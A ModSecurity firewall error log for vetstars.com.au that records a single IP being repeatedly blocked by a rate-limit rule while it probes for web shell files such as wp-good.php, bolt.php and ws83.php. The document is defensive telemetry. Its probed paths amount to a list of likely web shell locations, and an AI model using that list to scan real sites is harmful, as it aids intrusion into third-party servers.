[Thu Mar 26 07:41:35.358943 2026] [:error] [pid 19818:tid 19821] [client 132.164.249.185:20705] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acRyr8zaSnm3d1BeM5WScgAAAME"]
[Thu Mar 26 07:41:36.115051 2026] [:error] [pid 31778:tid 31810] [client 132.164.249.185:20680] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "acRysA3kybI2o-xasmBDfwAAAdE"]
[Thu Mar 26 07:41:36.769948 2026] [:error] [pid 31778:tid 31815] [client 132.164.249.185:20696] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "acRysA3kybI2o-xasmBDhgAAAdY"]
[Thu Mar 26 07:41:39.504018 2026] [:error] [pid 31717:tid 31726] [client 132.164.249.185:20731] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "acRys7-SCF7YDISDX4917wAAAYQ"]
[Thu Mar 26 07:41:40.031773 2026] [:error] [pid 31780:tid 31840] [client 132.164.249.185:20617] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "acRytJJDwZsy5O4ZXEirDwAAAhM"]
[Thu Mar 26 07:41:41.653342 2026] [:error] [pid 31780:tid 31843] [client 132.164.249.185:20699] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "acRytZJDwZsy5O4ZXEirFAAAAhY"]
[Thu Mar 26 07:41:42.169569 2026] [:error] [pid 19818:tid 19843] [client 132.164.249.185:20716] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "acRytszaSnm3d1BeM5WSdAAAANc"]
[Thu Mar 26 07:41:42.712052 2026] [:error] [pid 19712:tid 19789] [client 132.164.249.185:20679] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "acRyttWhKhRNqm23vFPhUAAAAI0"]
[Thu Mar 26 07:41:43.266571 2026] [:error] [pid 19818:tid 19838] [client 132.164.249.185:20722] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "acRyt8zaSnm3d1BeM5WSdwAAANI"]
[Thu Mar 26 07:41:43.804463 2026] [:error] [pid 60829:tid 60843] [client 132.164.249.185:6098] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "acRyt_TdjHKeZokybaQxsgAAAQw"]
[Thu Mar 26 07:41:44.326191 2026] [:error] [pid 31670:tid 31693] [client 132.164.249.185:20723] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "acRyuDXVthXxCnWjOTRB4wAAAVU"]
[Thu Mar 26 07:41:44.841140 2026] [:error] [pid 31780:tid 31830] [client 132.164.249.185:20649] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "acRyuJJDwZsy5O4ZXEirHgAAAgk"]
[Thu Mar 26 07:41:45.377642 2026] [:error] [pid 31780:tid 31822] [client 132.164.249.185:20698] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "acRyuZJDwZsy5O4ZXEirIAAAAgI"]
[Thu Mar 26 07:41:45.879426 2026] [:error] [pid 31780:tid 31827] [client 132.164.249.185:20666] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "acRyuZJDwZsy5O4ZXEirIwAAAgc"]
[Thu Mar 26 07:41:47.523016 2026] [:error] [pid 31780:tid 31830] [client 132.164.249.185:20733] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acRyu5JDwZsy5O4ZXEirKQAAAgk"]
[Thu Mar 26 07:41:48.062225 2026] [:error] [pid 31780:tid 31836] [client 132.164.249.185:20627] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acRyvJJDwZsy5O4ZXEirLAAAAg8"]
[Thu Mar 26 07:41:48.683646 2026] [:error] [pid 31780:tid 31820] [client 132.164.249.185:20724] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acRyvJJDwZsy5O4ZXEirMQAAAgA"]
[Thu Mar 26 07:41:49.311375 2026] [:error] [pid 31780:tid 31821] [client 132.164.249.185:20660] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acRyvZJDwZsy5O4ZXEirMwAAAgE"]
[Thu Mar 26 07:41:49.849006 2026] [:error] [pid 31778:tid 31812] [client 132.164.249.185:20682] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "acRyvQ3kybI2o-xasmBDjAAAAdM"]
[Thu Mar 26 07:41:50.541804 2026] [:error] [pid 31780:tid 31824] [client 132.164.249.185:20613] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "acRyvpJDwZsy5O4ZXEirPAAAAgQ"]
[Thu Mar 26 07:41:51.285504 2026] [:error] [pid 31778:tid 31802] [client 132.164.249.185:20689] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "acRyvw3kybI2o-xasmBDkAAAAck"]
[Thu Mar 26 07:42:06.842444 2026] [:error] [pid 19711:tid 19764] [client 132.164.249.185:20625] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acRyzmj3l1y81GYfluRNIgAAAE8"]
[Thu Mar 26 07:42:07.379925 2026] [:error] [pid 31778:tid 31798] [client 132.164.249.185:6101] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acRyzw3kybI2o-xasmBDoQAAAcU"]
[Thu Mar 26 07:42:07.910219 2026] [:error] [pid 19711:tid 19759] [client 132.164.249.185:20634] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acRyz2j3l1y81GYfluRNJAAAAEo"]
[Thu Mar 26 07:42:08.433087 2026] [:error] [pid 60829:tid 60854] [client 132.164.249.185:20717] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acRy0PTdjHKeZokybaQxxwAAARc"]
[Thu Mar 26 07:42:09.559367 2026] [:error] [pid 60829:tid 60842] [client 132.164.249.185:20645] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acRy0fTdjHKeZokybaQxyAAAAQs"]
[Thu Mar 26 07:42:10.082708 2026] [:error] [pid 31670:tid 31680] [client 132.164.249.185:20629] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acRy0jXVthXxCnWjOTRCAQAAAUg"]
[Thu Mar 26 07:42:10.606460 2026] [:error] [pid 60829:tid 60841] [client 132.164.249.185:6118] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acRy0vTdjHKeZokybaQxygAAAQo"]
[Thu Mar 26 07:42:11.127683 2026] [:error] [pid 60829:tid 60836] [client 132.164.249.185:20633] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acRy0_TdjHKeZokybaQxzQAAAQU"]
[Thu Mar 26 07:42:11.652258 2026] [:error] [pid 31717:tid 31732] [client 132.164.249.185:20653] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "acRy07-SCF7YDISDX492BwAAAYo"]
[Thu Mar 26 07:42:12.170349 2026] [:error] [pid 31778:tid 31801] [client 132.164.249.185:20681] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "acRy1A3kybI2o-xasmBDowAAAcg"]
[Thu Mar 26 07:42:12.715844 2026] [:error] [pid 19818:tid 19830] [client 132.164.249.185:20718] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "acRy1MzaSnm3d1BeM5WSjQAAAMo"]
[Thu Mar 26 07:42:13.257961 2026] [:error] [pid 60829:tid 60832] [client 132.164.249.185:20701] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "acRy1fTdjHKeZokybaQx0wAAAQE"]
[Thu Mar 26 07:42:16.012205 2026] [:error] [pid 31670:tid 31681] [client 132.164.249.185:6088] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "acRy2DXVthXxCnWjOTRCCAAAAUk"]
[Thu Mar 26 07:42:16.640738 2026] [:error] [pid 31780:tid 31837] [client 132.164.249.185:20673] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "acRy2JJDwZsy5O4ZXEircgAAAhA"]
[Thu Mar 26 07:42:18.959909 2026] [:error] [pid 31670:tid 31684] [client 132.164.249.185:20684] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "acRy2jXVthXxCnWjOTRCEQAAAUw"]
[Thu Mar 26 07:42:19.476095 2026] [:error] [pid 60829:tid 60845] [client 132.164.249.185:6096] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "acRy2_TdjHKeZokybaQx2QAAAQ4"]
[Thu Mar 26 07:42:19.988607 2026] [:error] [pid 31778:tid 31817] [client 132.164.249.185:20646] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "acRy2w3kybI2o-xasmBDtQAAAdg"]
[Thu Mar 26 07:42:20.623891 2026] [:error] [pid 31778:tid 31815] [client 132.164.249.185:6115] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "acRy3A3kybI2o-xasmBDtwAAAdY"]
[Thu Mar 26 07:43:25.098169 2026] [:error] [pid 31778:tid 31813] [client 132.164.249.185:20615] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "acRzHQ3kybI2o-xasmBEQwAAAdQ"]
[Thu Mar 26 07:43:25.959527 2026] [:error] [pid 31670:tid 31673] [client 132.164.249.185:20650] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "acRzHTXVthXxCnWjOTRCnAAAAUE"]
[Thu Mar 26 07:43:26.485117 2026] [:error] [pid 31717:tid 31723] [client 132.164.249.185:6092] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "acRzHr-SCF7YDISDX492NgAAAYE"]
[Thu Mar 26 07:43:27.014150 2026] [:error] [pid 60829:tid 60839] [client 132.164.249.185:20721] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "acRzH_TdjHKeZokybaQyRAAAAQg"]
[Thu Mar 26 07:43:27.579422 2026] [:error] [pid 31717:tid 31727] [client 132.164.249.185:20694] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "acRzH7-SCF7YDISDX492OQAAAYU"]
[Thu Mar 26 07:43:28.112311 2026] [:error] [pid 31778:tid 31809] [client 132.164.249.185:20711] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "acRzIA3kybI2o-xasmBERgAAAdA"]
[Thu Mar 26 07:43:28.634514 2026] [:error] [pid 31778:tid 31804] [client 132.164.249.185:20609] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "acRzIA3kybI2o-xasmBERwAAAcs"]
[Thu Mar 26 07:43:29.393116 2026] [:error] [pid 60829:tid 60842] [client 132.164.249.185:20693] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "acRzIfTdjHKeZokybaQyRwAAAQs"]
[Thu Mar 26 07:43:29.943323 2026] [:error] [pid 19711:tid 19766] [client 132.164.249.185:20620] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "acRzIWj3l1y81GYfluRNTwAAAFE"]
[Thu Mar 26 07:43:31.380645 2026] [:error] [pid 31670:tid 31680] [client 132.164.249.185:6123] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "acRzIzXVthXxCnWjOTRCpQAAAUg"]
[Thu Mar 26 07:43:31.928675 2026] [:error] [pid 31717:tid 31728] [client 132.164.249.185:6106] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "acRzI7-SCF7YDISDX492PwAAAYY"]
[Thu Mar 26 07:43:32.569997 2026] [:error] [pid 31778:tid 31814] [client 132.164.249.185:20703] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "acRzJA3kybI2o-xasmBEVAAAAdU"]
[Thu Mar 26 07:43:33.150788 2026] [:error] [pid 60829:tid 60839] [client 132.164.249.185:20624] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "acRzJfTdjHKeZokybaQyUAAAAQg"]
[Thu Mar 26 07:43:33.665896 2026] [:error] [pid 31780:tid 31835] [client 132.164.249.185:20635] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "acRzJZJDwZsy5O4ZXEisOAAAAg4"]
[Thu Mar 26 07:43:34.190526 2026] [:error] [pid 31780:tid 31822] [client 132.164.249.185:6084] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "acRzJpJDwZsy5O4ZXEisOwAAAgI"]
[Thu Mar 26 07:43:34.741625 2026] [:error] [pid 19710:tid 19746] [client 132.164.249.185:20719] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "acRzJgVEWP8Ar68Njk6tTQAAABg"]
[Thu Mar 26 07:43:35.307218 2026] [:error] [pid 60829:tid 60835] [client 132.164.249.185:20712] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "acRzJ_TdjHKeZokybaQyUwAAAQQ"]
[Thu Mar 26 07:43:35.852014 2026] [:error] [pid 31717:tid 31723] [client 132.164.249.185:20626] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "acRzJ7-SCF7YDISDX492QAAAAYE"]
